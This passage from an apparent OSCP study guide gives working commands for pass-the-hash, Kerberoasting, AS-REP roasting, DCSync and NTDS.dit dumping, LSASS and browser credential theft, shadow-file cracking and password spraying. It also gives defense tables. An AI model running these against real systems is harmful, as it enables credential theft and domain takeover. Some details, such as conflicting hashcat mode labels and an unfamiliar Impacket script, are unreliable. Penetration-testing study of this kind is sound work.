smbexec.py -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10
# Services.py
services.py -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10
# SAMR user enumeration
samrdump.py -hashes :5835048ce94ad0564e29a924a03510ef CORP@192.168.1.10
CrackMapExec
# SMB with hash
crackmapexec smb 192.168.1.0/24 -u Administrator -H 5835048ce94ad0564e29a924a03510ef
# With domain
crackmapexec smb 192.168.1.0/24 -u Administrator -H 5835048ce94ad0564e29a924a03510ef -d CORP
# Execute command
crackmapexec smb 192.168.1.10 -u Administrator -H HASH -x "whoami"
# Shell
crackmapexec smb 192.168.1.10 -u Administrator -H HASH -X
Metasploit
use exploit/windows/smb/psexec
set SMBPASS HASH
set RHOSTS 192.168.1.10
set SMBUSER Administrator
set SMBDomain CORP
exploit
6.4 Defense and Detection
| Defense | Description |
|---|---|
| Credential Guard | Virtualization-based security, blocks PtH |
| LSA Protection | Protects LSASS memory |
| Network Level Authentication (NLA) | Requires auth before RDP session |
| Restricted Admin Mode | Limits PtH over RDP |
| Monitor Event ID 4624 | Logon with logon type 3 (network) |
| Monitor Event ID 4624 | Logon with logon type 10 (RDP) |
| SIEM alerting | Alert on multiple PtH patterns |
7. Kerberoasting
7.1 Concept
Definition: Attack targeting Service Account passwords by requesting and cracking Kerberos TGS (Ticket Granting Service) tickets offline.
How it works:
- Service accounts in Active Directory have SPNs (Service Principal Names) registered.
- Any authenticated domain user can request a TGS ticket for any SPN.
- The TGS ticket is encrypted with the service account’s NTLM hash.
- The attacker requests the ticket and cracks it offline.
- No admin privileges required to request tickets.
Why it works:
- Kerberos allows any authenticated user to request service tickets.
- TGS-REP is encrypted with the service account password hash.
- RC4-HMAC encryption (weak) is often used.
- The ticket can be cracked offline with Hashcat or John.
7.2 Prerequisites
- Valid domain user account (any privileges).
- Network access to the domain controller.
- Service accounts with SPNs registered.
- Service accounts using weak passwords.
7.3 Attack Workflow
flowchart TD
A[Authenticated Domain User] --> B[Enumerate SPNs]
B --> C[Identify Target SPNs]
C --> D[Request TGS Tickets]
D --> E[Extract TGS-REP Tickets]
E --> F[Export to Hashcat/John Format]
F --> G[Offline Hash Cracking]
G --> H{Cracked?}
H -->|Yes| I[Service Account Password]
H -->|No| J[Try Different Attack]
I --> K[Access Service / Lateral Movement]
7.4 Tools and Commands
Enumerate SPNs
# PowerShell
Get-ADServiceAccount -Filter * | Select-Object DNSHostName,ServicePrincipalName
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
# ADFind
adfind -sc spn
# Impacket
getUserSPNs.py -dc-ip 192.168.1.10 CORP/user:password
# Rubeus
Rubeus.exe spn /nowrap
Request and Extract Tickets
# Rubeus (preferred)
Rubeus.exe kerberoast /outfile:hashes.txt
# Rubeus with specific SPN
Rubeus.exe kerberoast /spn:MSSQLSvc/sqlserver.corp.local:1433 /outfile:hashes.txt
# Rubeus with encryption type filter
Rubeus.exe kerberoast /enctype:aes256-hmac-sha1 /outfile:aes256_hashes.txt
# Impacket
getUserSPNs.py -dc-ip 192.168.1.10 -request -outputfile:hashes.txt CORP/user:password
# GetNPUsers.py (also works for AS-REP)
GetNPUsers.py CORP/user:password -request -format hashcat
Crack the Hashes
# Hashcat (Kerberos 5 TGS-REP etype 23 - RC4-HMAC)
hashcat -m 13100 -a 0 hashes.txt rockyou.txt -r rules/best64.rule
# Hashcat (Kerberos 5 TGS-REP etype 17/18 - AES)
hashcat -m 19600 -a 0 aes_hashes.txt rockyou.txt
# John the Ripper
john --format=krb5tgs hashes.txt --wordlist=rockyou.txt
7.5 Hashcat Modes for Kerberoasting
| Mode | Encryption | Description |
|---|---|---|
13100 |
RC4-HMAC | Kerberos 5 TGS-REP (most common) |
18200 |
AES128-CTS-HMAC-SHA1-96 | Kerberos 5 TGS-REP AES128 |
19600 |
AES256-CTS-HMAC-SHA1-96 | Kerberos 5 TGS-REP AES256 |
7.6 Defense
| Defense | Description |
|---|---|
| Strong service account passwords | 25+ characters, random |
| Managed Service Accounts (gMSA) | Auto-managed, no known password |
| AES encryption enforcement | Disable RC4 in Kerberos |
| Monitor ticket requests | Alert on unusual TGS requests |
| SPN auditing | Regularly audit SPN assignments |
8. AS-REP Roasting
8.1 Concept
Definition: Attack targeting user accounts that have “Do not require Kerberos preauthentication” enabled.
How it works:
- Some accounts have pre-authentication disabled (
DONT_REQ_PREAUTHflag). - An attacker can request an AS-REP (Authentication Server Response) without any credentials.
- The AS-REP contains a TGT encrypted with the user’s password hash.
- The attacker cracks this hash offline.
Why it works:
- Pre-authentication is optional in Kerberos.
- Some accounts disable it for legacy compatibility.
- No authentication needed to request the AS-REP.
- The response contains crackable encrypted data.
8.2 Attack Workflow
flowchart TD
A[No Credentials Needed] --> B[Enumerate DONT_REQ_PREAUTH Accounts]
B --> C[Request AS-REP for Each Account]
C --> D[Extract Encrypted TGT]
D --> E[Export to Hashcat/John Format]
E --> F[Offline Hash Cracking]
F --> G{Cracked?}
G -->|Yes| H[User Password]
G -->|No| I[Try Different Attack]
H --> J[Authenticate as User]
8.3 Tools and Commands
Enumerate Vulnerable Accounts
# PowerShell
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties *
# ADFind
adfind -rb dc:corp,dc:local -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
# Impacket
GetNPUsers.py CORP/ -usersfile.txt -format hashcat -outputfile:hashes.txt
# Rubeus
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
Request and Extract AS-REP
# Impacket (no credentials needed for enumeration)
GetNPUsers.py CORP/ -format hashcat -outputfile:asrep_hashes.txt
# Impacket with specific user
GetNPUsers.py CORP/target_user -format hashcat -outputfile:asrep_hashes.txt
# Rubeus
Rubeus.exe asreproast /user:target_user /format:hashcat /outfile:hashes.txt
# Rubeus all vulnerable users
Rubeus.exe asreproast /format:john /outfile:hashes_john.txt
Crack the Hashes
# Hashcat (Kerberos 5 AS-REP etype 23 - RC4)
hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txt -r rules/best64.rule
# Hashcat (Kerberos 5 AS-REP etype 17/18 - AES)
hashcat -m 19700 -a 0 asrep_aes_hashes.txt rockyou.txt
# John the Ripper
john --format=krb5asrep asrep_hashes.txt --wordlist=rockyou.txt
8.4 Hashcat Modes for AS-REP Roasting
| Mode | Encryption | Description |
|---|---|---|
18200 |
RC4-HMAC | Kerberos 5 AS-REP RC4 |
19700 |
AES256-CTS-HMAC-SHA1-96 | Kerberos 5 AS-REP AES256 |
8.5 Defense
| Defense | Description |
|---|---|
| Enable pre-authentication | Default setting, do not disable |
| Audit UAC flags | Regularly check DONT_REQ_PREAUTH |
| Strong passwords | Mitigates offline cracking |
| Monitor AS-REP requests | Alert on unauthenticated requests |
| GPO enforcement | Enforce pre-auth via Group Policy |
9. Offline Kerberos Ticket Cracking
9.1 Concept
Kerberos tickets can be captured and cracked offline. Different ticket types have different hash formats.
Ticket types:
| Ticket Type | Description | Encryption | Hashcat Mode |
|---|---|---|---|
| TGT | Ticket Granting Ticket | User password hash | 13100 / 18200 / 19600 |
| TGS | Service Ticket | Service account hash | 13100 / 18200 / 19600 |
| AS-REP | Auth Server Response | User password hash | 18200 / 19700 |
9.2 Ticket Extraction
# Extract tickets from memory (Mimikatz)
mimikatz # kerberos::list /export
# Extract specific ticket
mimikatz # kerberos::ptt ticket.kirbi
# Rubeus ticket extraction
Rubeus.exe triage
Rubeus.exe dump /luid:0x123456 /outfile:ticket.kirbi
# Convert kirbi to hashcat format
# Use ticketer.py or Rubeus to extract hash
9.3 Cracking Kerberos Tickets
# Crack TGS-REP (RC4)
hashcat -m 13100 -a 0 krb5_hashes.txt rockyou.txt
# Crack TGS-REP (AES256)
hashcat -m 19600 -a 0 krb5_aes_hashes.txt rockyou.txt
# Crack AS-REP (RC4)
hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txt
# Crack AS-REP (AES256)
hashcat -m 19700 -a 0 asrep_aes_hashes.txt rockyou.txt
10. NTDS.dit Extraction and Parsing
10.1 Concept
NTDS.dit is the Active Directory database file. It contains:
- All domain user accounts.
- Password hashes (NTLM).
- Group memberships.
- Computer accounts.
- Group Policy objects.
Location: %SYSTEMROOT%\NTDS\ntds.dit
Why it matters:
- Contains hashes for ALL domain accounts.
- Cracking these hashes can compromise the entire domain.
- Requires SYSTEM privileges on the Domain Controller.
10.2 Extraction Methods
Method 1: Volume Shadow Copy (VSS)
# PowerShell (from target DC)
vssadmin list shadows
# Copy from shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\NTDS.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
Method 2: NTDSUtil
# On the DC itself
ntdsutil
ntdsutil: ac i n
ntdsutil: ifm
ifm: create full c:\temp
q
q
Method 3: Impacket secretsdump
# Remote extraction (no file copy needed)
secretsdump.py -just-dc CORP/Administrator@192.168.1.10
# With hash
secretsdump.py -just-dc -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10
# Output to file
secretsdump.py -just-dc -outputfile:hashes CORP/Administrator@192.168.1.10
Method 4: VSSRDP (Remote VSS)
# Remote shadow copy extraction
vssadmin.exe create shadow /for=C:
# Then copy NTDS.dit and SYSTEM registry hive
Method 5: DCSync
# DCSync - replicate DC data without touching NTDS.dit
secretsdump.py -just-dc-ntlm CORP/DC01$@192.168.1.10
# Mimikatz DCSync
mimikatz # lsadump::dcsync /user:Administrator /domain:CORP.local
# All users
mimikatz # lsadump::dcsync /user:CORP\krbtgt /domain:CORP.local
10.3 Parsing NTDS.dit
# Impacket (preferred)
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
# Remote parsing
secretsdump.py CORP/Administrator@192.168.1.10 -ntds ntds.dit -system SYSTEM
# Output formats
secretsdump.py -ntds ntds.dit -system SYSTEM -outputfile:hashes LOCAL
10.4 Cracking NTDS Hashes
# The output from secretsdump is in hashcat format
# Format: username:rid:lmhash:nthash:::
# Crack NTLM hashes
hashcat -m 1000 -a 0 ntds_hashes.txt rockyou.txt -r rules/best64.rule
# Crack with multiple rule files
hashcat -m 1000 -a 0 ntds_hashes.txt rockyou.txt -r rules/best64.rule -r rules/one337.rule
# Remove already cracked hashes
hashcat -m 1000 -a 0 --remove ntds_hashes.txt rockyou.txt
10.5 Attack Workflow
flowchart TD
A[Gain SYSTEM on DC] --> B{Extraction Method}
B -->|Local| C[VSS / NTDSUtil]
B -->|Remote| D[DCSync / secretsdump]
C --> E[Copy NTDS.dit + SYSTEM]
D --> F[Hashes Extracted Remotely]
E --> G[Parse with secretsdump]
F --> H[Hashes Ready]
G --> H
H --> I[Hashcat / John Cracking]
I --> J{Cracked?}
J -->|Yes| K[Plaintext Passwords]
J -->|No| L[Pass-the-Hash]
K --> M[Full Domain Compromise]
L --> M
11. Windows Credential Dumping
11.1 LSASS Memory Extraction
LSASS (Local Security Authority Subsystem Service):
- Stores credentials in memory.
- Includes plaintext passwords, hashes, and Kerberos tickets.
- Target of credential dumping attacks.
Protection mechanisms:
- Credential Guard — isolates LSASS in virtualized container.
- LSA Protection — restricts access to LSASS memory.
- RunAsPPL — Protected Process Light.
Tools and Commands
# Mimikatz (primary tool)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
mimikatz # sekurlsa::kerberos
mimikatz # sekurlsa::tickets /export
# Specific extraction methods
mimikatz # sekurlsa::searchPasswords
mimikatz # sekurlsa::minfo
mimikatz # sekurlsa::keys
# Export all credentials
mimikatz # sekurlsa::logonpasswords full
# Procdump + Mimikatz (fileless approach)
procdump64.exe -ma lsass.exe lsass.dmp
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
# Rubeus (Kerberos tickets)
Rubeus.exe triage
Rubeus.exe dump /luid:0x123456
Rubeus.exe klist /luid:0x123456
# LaZagne (multi-app credential dump)
lazagne.exe all
# SharpDump (C# alternative)
SharpDump.exe -o lsass.dmp
11.2 SAM Database Extraction
SAM (Security Accounts Manager):
- Stores local account password hashes.
- Location:
%SYSTEMROOT%\System32\config\SAM - Requires SYSTEM privileges.
Extraction Methods
# Mimikatz
mimikatz # token::elevate
mimikatz # lsadump::sam
# From registry hives
reg save HKLM\SAM SAM.hive
reg save HKLM\SYSTEM SYSTEM.hive
mimikatz # lsadump::sam /sam:SAM.hive /system:SYSTEM.hive
# PWDump
pwdump.exe
# secretsdump (Impacket)
secretsdump.py LOCAL
11.3 DPAPI Secrets
DPAPI (Data Protection API):
- Windows API for encrypting data.
- Used by browsers, applications, and system components.
- Master keys are protected by user password.
Extraction
# Mimikatz DPAPI
mimikatz # dpapi::chrome /in:C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
# Edge
mimikatz # dpapi::edge /in:C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
# Firefox
mimikatz # dpapi::firefox /in:C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\*.default\logins.json
# Master key decryption
mimikatz # dpapi::masterkey /in:C:\Users\user\AppData\Roaming\Microsoft\Protect\SID\key /password:password123
11.4 Other Windows Credential Sources
| Source | Location | Tool |
|---|---|---|
| Windows Credential Manager | Vault | cmdkey /list, Mimikatz |
| Browser passwords | AppData | LaZagne, Mimikatz |
| RDP saved credentials | Registry | Mimikatz |
| WiFi passwords | Registry | netsh wlan show profiles |
| Scheduled tasks | Task Scheduler | schtasks /query /fo LIST |
| Registry auto-logon | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon | reg query |
| Unattend.xml | C:\Windows\Panther\ | Manual read |
| VPN profiles | AppData | LaZagne |
12. Linux Password Cracking
12.1 /etc/shadow Extraction
File structure:
/etc/shadow:
username:$6$rounds=656000$salt$hash:19000:0:99999:7:::
^ ^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^
| | Hash | Additional fields
Username |
Hash type ($6$ = SHA-512)
Shadow file fields:
| Field | Description |
|---|---|
| 1 | Username |
| 2 | Encrypted password (hash) |
| 3 | Last password change (days since Jan 1, 1970) |
| 4 | Min days before change |
| 5 | Max days before change |
| 6 | Warning period |
| 7 | Inactivity period |
| 8 | Expiration date |
Access requirements:
- Root privileges to read
/etc/shadow. - Or read access via misconfiguration.
# Read shadow file
sudo cat /etc/shadow
# Read specific user
sudo grep "username" /etc/shadow
# Check if password is locked
# ! or * in field 2 means no password / locked account
12.2 Cracking Linux Hashes
With Hashcat
# SHA-512 crypt ($6$)
hashcat -m 1800 -a 0 shadow.txt rockyou.txt
# SHA-256 crypt ($5$)
hashcat -m 1400 -a 0 shadow.txt rockyou.txt
# MD5 crypt ($1$)
hashcat -m 500 -a 0 shadow.txt rockyou.txt
# With rules
hashcat -m 1800 -a 0 shadow.txt rockyou.txt -r rules/best64.rule
# bcrypt ($2a$, $2b$, $2y$)
hashcat -m 3200 -a 0 shadow.txt rockyou.txt
With John the Ripper
# Auto-detect format
john --wordlist=rockyou.txt /etc/shadow
# Specify format
john --format=sha512crypt --wordlist=rockyou.txt /etc/shadow
# With rules
john --format=sha512crypt --wordlist=rockyou.txt --rules /etc/shadow
# Show results
john --show /etc/shadow
12.3 Linux Hash Types
| Prefix | Algorithm | Hashcat Mode | John Format |
|---|---|---|---|
$1$ |
MD5 Crypt | 500 |
md5crypt |
$2a$ |
bcrypt | 3200 |
bcrypt |
$2b$ |
bcrypt | 3200 |
bcrypt |
$2y$ |
bcrypt | 3200 |
bcrypt |
$5$ |
SHA-256 Crypt | 1400 |
sha256crypt |
$6$ |
SHA-512 Crypt | 1800 |
sha512crypt |
12.4 Other Linux Credential Sources
| Source | Location | Description |
|---|---|---|
| /etc/passwd | /etc/passwd |
User info (no hashes) |
| /etc/shadow | /etc/shadow |
Password hashes |
| .bash_history | ~/.bash_history |
Command history (may contain passwords) |
| .ssh/authorized_keys | ~/.ssh/authorized_keys |
SSH public keys |
| .ssh/id_rsa | ~/.ssh/id_rsa |
SSH private key |
| .mysql_history | ~/.mysql_history |
MySQL command history |
| .pgpass | ~/.pgpass |
PostgreSQL passwords |
| crontab | crontab -l |
Scheduled tasks (may contain creds) |
| /root/.bashrc | /root/.bashrc |
May contain hardcoded creds |
| /etc/crontab | /etc/crontab |
System crontab |
13. Password Policy Assessment
13.1 Why Assess Password Policies
Weak password policies make brute force and dictionary attacks more effective.
Key policy parameters:
| Parameter | Weak | Strong |
|---|---|---|
| Minimum length | < 8 | >= 14 |
| Complexity | None | Upper + Lower + Digit + Special |
| History | 0 | >= 24 |
| Max age | Never | 90 days |
| Min age | 0 | 1 day |
| Lockout threshold | Never | 5 attempts |
| Lockout duration | 0 min | 30 min |
| Lockout window | 0 min | 30 min |
13.2 Assessment Tools and Commands
Windows (Group Policy)
# Local password policy
net accounts
# Domain password policy
net accounts /domain
# PowerShell
Get-ADDefaultDomainPasswordPolicy
# Fine-grained password policies
Get-ADFineGrainedPasswordPolicy
# Password policy for specific user
Get-ADUserResultantPasswordPolicy -Identity username
# Group Policy results
gpresult /r
gpresult /h report.html
Linux
# PAM configuration
cat /etc/pam.d/common-password
# Password quality settings
cat /etc/security/pwquality.conf
# Shadow settings
cat /etc/login.defs
# Check specific user aging
chage -l username
Impacket
# Get domain policy
getPwned.py CORP/user:password
# Enumerate password policy
secretsdump.py -just-dc CORP/user:password | grep -i policy
13.3 Exploiting Weak Policies
If minimum length < 8:
- Brute force becomes feasible.
- Use mask attacks for short passwords.
If no complexity required:
- Dictionary attacks are more effective.
- Lowercase-only wordlists work better.
If no lockout:
- Online brute force is possible.
- Use Hydra/Medusa with large wordlists.
If lockout threshold is high (>20):
- Still vulnerable to targeted attacks.
- Use slow, distributed attempts.
14. Password Spraying Techniques
14.1 Concept
Definition: Try a few common passwords against many usernames, instead of many passwords against one username.
Why it works:
- Avoids account lockout (one attempt per account).
- Many users use common passwords.
- Low detection risk (looks like normal failed logins).
Comparison:
| Technique | Attempts per Account | Accounts Targeted | Lockout Risk |
|---|---|---|---|
| Brute Force | Many (1000+) | 1 | High |
| Password Spraying | 1-5 | Many | Low |
14.2 Attack Workflow
flowchart TD
A[Obtain Username List] --> B[Select Common Passwords]
B --> C[Configure Slow Attack]
C --> D[Try Password 1 Against All Users]
D --> E{Any Success?}
E -->|Yes| F[Capture Credentials]
E -->|No| G{More Passwords?}
G -->|Yes| H[Add Delay / Randomize]
H --> D
G -->|No| I[Attack Complete]
F --> J[Pivot / Escalate]
14.3 Tools and Commands
Hydra
# Password spraying: one password, many users
hydra -L users.txt -p "Password123!" -t 10 -V ssh://192.168.1.10
# With delay between attempts
hydra -L users.txt -p "Password123!" -t 5 -w 30 ssh://192.168.1.10
# Against multiple targets
hydra -M targets.txt -L users.txt -p "Password123!" ssh
# SMB spraying
hydra -L users.txt -p "Summer2024!" smb://192.168.1.10
CrackMapExec
# SMB password spraying
crackmapexec smb 192.168.1.0/24 -u users.txt -p "Password123!"
# With domain
crackmapexec smb 192.168.1.0/24 -u users.txt -p "Password123!" -d CORP
# Multiple passwords
crackmapexec smb 192.168.1.0/24 -u users.txt -P common_passwords.txt
# With continue-on-success
crackmapexec smb 192.168.1.0/24 -u users.txt -p "Password123!" --continue-on-success
Rubeus (Kerberos)
# Kerberos password spraying
Rubeus.exe brute /users:users.txt /passwords:passwords.txt /domain:CORP.local /outfile:results.txt
# Single password spray
Rubeus.exe brute /users:users.txt /password:"Password123!" /domain:CORP.local
Custom PowerShell
```powershell
# Simple password spray script
$users = Get-Content users.txt
$password = "Password123!"
$domain = "CORP"
foreach ($user in $users) {
try {
$secPass = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("$domain\$user", $secPass)
Test-Path \\FILESERVER\C$ -Credential $cred
Write-Host "[+] $user : $password" -ForegroundColor Green
} catch {
Write-Host "[-] $user failed" -ForegroundColor Red
}
Start-Sleep -Seconds (Get-Random -Minimum 5 -Maximum 30)
}
14.4 Common Passwords for Spraying
| Category | Examples |
|---|---|
| Seasonal | Summer2024!, Winter2024!, HappyHolidays! |
| Company | CompanyName1!, Welcome2024! |
| Default | Password1!, P@ssw0rd!, Welcome1! |
| Simple | 123456!, Qwerty1!, Admin123! |
| Policy-compliant | Password1!, Summer2024!, Company123! |
14.5 Defense
| Defense | Description |
|---|---|
| Account lockout | Lock after 5 failed attempts |
| Conditional Access | Require MFA for suspicious logins |
| Risk-based auth | Block anomalous login patterns |
| Monitor Event 4625 | Failed logon events |
| SIEM correlation | Detect spraying patterns |
| Delay between attempts | Enforce minimum wait time |
15. Quick Reference Cheat Sheet
Hashcat Quick Reference
# Identify hash
hashcat --help | grep -i "hash modes"
# Dictionary attack
hashcat -m <mode> -a 0 hashes.txt wordlist.txt
# Dictionary + rules
hashcat -m <mode> -a 0 hashes.txt wordlist.txt -r rules/best64.rule
# Mask attack
hashcat -m <mode> -a 3 hashes.txt ?u?l?l?d?d?d?s
# Hybrid (dict + mask)
hashcat -m <mode> -a 6 hashes.txt wordlist.txt ?d?d?d?d
# Resume
hashcat --restore
# Show cracked
hashcat -m <mode> --show hashes.txt
# Remove cracked
hashcat -m <mode> --remove hashes.txt wordlist.txt
# Benchmark
hashcat -m <mode> -b
Common Hashcat Modes
| Mode | Hash Type |
|---|---|
0 |
MD5 |
10 |
MD5($pass.$salt) |
100 |
SHA1 |
1100 |
HMAC-SHA256 |
1400 |
SHA-256 |
1700 |
SHA-512 |
1000 |
NTLM |
5600 |
NTLMv2 |
1800 |
SHA-512 crypt ($6$) |
3200 |
bcrypt |
900 |
WPA/WPA2 |
13100 |
Kerberos 5 TGS-REP (RC4) |
18200 |
Kerberos 5 AS-REP (RC4) |
19600 |
Kerberos 5 TGS-REP (AES256) |
19700 |
Kerberos 5 AS-REP (AES256) |
John Quick Reference
# Crack with wordlist
john --wordlist=rockyou.txt hashes.txt
# Show results
john --show hashes.txt
# With rules
john --wordlist=rockyou.txt --rules hashes.txt
# Incremental
john --incremental:alpha hashes.txt
# Specific format
john --format=nt --wordlist=rockyou.txt hashes.txt
# Benchmark
john --test --format=nt
Hydra Quick Reference
# Basic SSH
hydra -l user -P wordlist.txt ssh://target
# HTTP POST
hydra -l user -P wordlist.txt target http-post-form "/login:user=^USER^&pass=^PASS^:Failed"
# SMB
hydra -l user -P wordlist.txt smb://target
# RDP
hydra -l user -P wordlist.txt rdp://target
# Multiple targets
hydra -M targets.txt -l user -P wordlist.txt ssh
Impacket Quick Reference
# Pass-the-Hash
psexec.py -hashes :HASH domain/user@target
# DCSync
secretsdump.py -just-dc domain/user@dc
# Kerberoasting
getUserSPNs.py -dc-ip DC_IP domain/user:password -request -outputfile:hashes.txt
# AS-REP Roasting
GetNPUsers.py domain/ -format hashcat -outputfile:hashes.txt
# Secrets dump
secretsdump.py domain/user@target
Attack Strategy Decision Tree
flowchart TD
A[Start Password Attack] --> B{Have Hash?}
B -->|Yes| C[Offline Attack]
B -->|No| D[Online Attack]
C --> E{Hash Type?}
E -->|NTLM| F[Hashcat mode 1000]
E -->|Linux Shadow| G[Hashcat mode 1800]
E -->|Kerberos| H[Hashcat mode 13100/18200]
E -->|bcrypt| I[Hashcat mode 3200]
D --> J{Target?}
J -->|SSH| K[Hydra / Medusa]
J -->|HTTP| L[Hydra HTTP modules]
J -->|SMB| M[Hydra / CrackMapExec]
J -->|RDP| N[Hydra RDP]
F --> O[Dictionary + Rules]
G --> O
H --> O
I --> O
K --> P[Wordlist / Spray]
L --> P
M --> P
N --> P
O --> Q{Cracked?}
P --> Q
Q -->|Yes| R[Access Gained]
Q -->|No| S[Try Mask / Brute Force]
S --> Q
Summary
Password attacks remain one of the most effective techniques in penetration testing. Key takeaways:
- Know your hash type — correct identification is the first step.
- Start simple — dictionary attacks catch the most passwords.
- Use rules — rule-based attacks dramatically increase success rates.
- Custom wordlists win — target-specific wordlists outperform generic ones.
- GPU acceleration matters — Hashcat on GPU is orders of magnitude faster.
- Kerberos attacks are powerful — Kerberoasting and AS-REP roasting require minimal privileges.
- Pass-the-Hash saves time — no need to crack if you can use the hash directly.
- Be patient — complex passwords may require mask attacks or extended brute force.
- Document everything — record hash types, tools used, and results.
- Think like the user — understand password creation patterns for better rules.
This study guide covers the password attack techniques most relevant to the OSCP examination. Practice each technique in a lab environment to build muscle memory for the exam.